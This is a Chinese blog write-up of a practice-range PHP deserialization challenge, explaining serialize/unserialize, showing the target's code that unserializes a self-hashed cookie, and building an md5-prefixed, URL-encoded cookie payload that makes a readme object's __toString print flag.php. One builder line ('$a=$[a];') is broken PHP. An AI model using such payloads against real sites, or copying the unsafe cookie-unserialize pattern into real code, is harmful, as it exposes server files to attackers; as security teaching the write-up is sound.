记录一个靶场反序列化漏洞
序列化:
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
反序列化:
反序列化与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
<?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } } if(isset($_GET['source'])){ //把文档显示出来 $s = new readme(); $s->source = __FILE__; echo $s; exit; } //$todos = []; if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } } if(isset($_POST['text'])){ $todo = $_POST['text']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie('todos', $h.$m); header('Location: '.$_SERVER['REQUEST_URI']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?> </ul> <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form>
这是靶场给我们的源码,根据这个代码我们可以构建payload。
我们已经知道要取得的flag存在与flag.php中,并且发现魔术函数_toString
(只有在对象转换为字符串输出的时候触发)。
45 <li><?=$todo?></li>
这个语句其实是<?php echo $todo ?>
的简写,
可以知道这个语句能够触发魔术函数,我们只要能构建合适的语句使得readme中的变量source为flag.php
我们就能够访问到flag.php中的内容。
所以我们可以先构建代码
<?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } } $a=new readme; $a->source='flag.php'; $a=$[a]; echo serialize($a); ?>
代码运行得到 a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
代码中我们为什么要把$a
序列化?为什么要把$a
变为数组?请继续往下看
44 <?php foreach($todos as $todo):?>
$todo
由数组$todos
赋值(所以我们可以知道我们构建的cookie也必须是一个数组,经过foreach函数后才变为一个值),而数组$todos
是在cookie里得来的,所以我们现在的目标就是能够构建合适的cookie让cookie进过层层解码后传递到$todo
且$todo
是readme类的对象,且对象中的source为flag.php。(这里需要逆向思维)
观察这段源码我们可以发现 $m
就是我们运行得到的序列化码(所以我们上面要把$a序列化,这样在反序列化的时候就能达到我们目的) a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
并且$todos=$c=$h.$m=$h.md5($m) 且$h=md5($m)
所以$c=md5($m).$m
所以我们可以构建出payload
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
经过url编码后得到e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
塞入cookie得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通